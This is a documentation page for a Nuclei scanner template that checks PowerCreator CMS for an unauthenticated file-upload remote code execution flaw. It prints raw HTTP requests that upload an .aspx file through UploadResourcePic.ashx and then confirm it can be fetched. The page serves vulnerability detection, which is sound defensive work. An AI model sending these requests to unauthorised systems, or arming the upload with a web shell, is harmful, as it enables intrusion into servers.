PowerCreator CMS - Remote Code Execution
ID: powercreator-cms-rce
Severity: critical
Author: pikpikcu
Tags: rce,powercreator,intrusive,fileupload
Description
Section titled “Description”PowerCreator CMS is susceptible to a remote code execution vulnerability.
YAML Source
Section titled “YAML Source”id: powercreator-cms-rce
info: name: PowerCreator CMS - Remote Code Execution author: pikpikcu severity: critical description: | PowerCreator CMS is susceptible to a remote code execution vulnerability. reference: - https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/PowerCreatorCms/PowerCreatorCms%E4%BB%BB%E6%84%8F%E4%B8%8A%E4%BC%A0/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 2 tags: rce,powercreator,intrusive,fileupload
http: - raw: - | POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1 Host: {{Hostname}} Content-Disposition: form-data;name="file1";filename="poc.aspx"; Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136
-----------------------------20873900192357278038549710136 Content-Disposition: form-data; name="file1"; filename="poc.aspx" Content-Type: image/jpeg
{{randstr}} -----------------------------20873900192357278038549710136-- - | GET /ResourcePic/{{endpoint}} HTTP/1.1 Host: {{Hostname}}
extractors: - type: regex name: endpoint internal: true part: body regex: - "(.*?.ASPX)" matchers: - type: dsl dsl: - "contains(body_2, '{{randstr}}') && status_code_2 == 200"# digest: 490a00463044022003a0311973467ae41b382cd8b13558b6e9b2cf4a5d0f9db3a51cccdc1202ce5102203add6cd7425cef99dbb097f174bf8a8ba70a18c9df36312a3aede896a0cfb97a:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/powercreator-cms-rce.yaml"